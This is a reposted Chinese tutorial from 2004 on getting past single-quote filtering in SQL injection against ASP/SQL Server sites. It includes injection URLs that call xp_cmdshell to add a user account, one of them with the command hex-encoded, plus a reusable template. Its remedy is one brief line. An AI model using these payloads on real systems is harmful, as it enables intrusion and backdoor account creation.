电竞比分网-中国电竞赛事及体育赛事平台

分享

饒過‘(單引號)限制繼續(xù)射入

 昵稱2220 2005-10-16
饒過‘(單引號)限制繼續(xù)射入
 
 

本文作者:angel
文章性質(zhì):原創(chuàng)
發(fā)布日期:2004-04-02
  我想不少人都看過一些關(guān)于SQL Injection針對SQL Server攻擊的文章,都是因為變量過濾不足甚至沒有過濾而構(gòu)造畸形SQL語句注入的,包括我寫的那篇《SQL Injection的實現(xiàn)與應(yīng)用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當(dāng)輕松就注入成功了,如下:

http://www./show.asp?id=1;exec master.dbo.xp_cmdshell ‘net user angel pass /add‘;--


  這往往給大家造成誤解,認(rèn)為只要變量過濾了‘就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾‘是不夠的,在‘被過濾的情況下我們照樣玩,看下面語句:

http://www./show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實這些都是SQL語句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


  這句是“net user angel pass /add”的16進(jìn)制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:

declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a


解決辦法:

  過濾變量,限制只允許輸入特定字符。比如對于數(shù)字類型的變量就限制只能輸入數(shù)字類型的數(shù)據(jù)。具體就不說了。這完全是程序作者自由發(fā)揮了。 

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多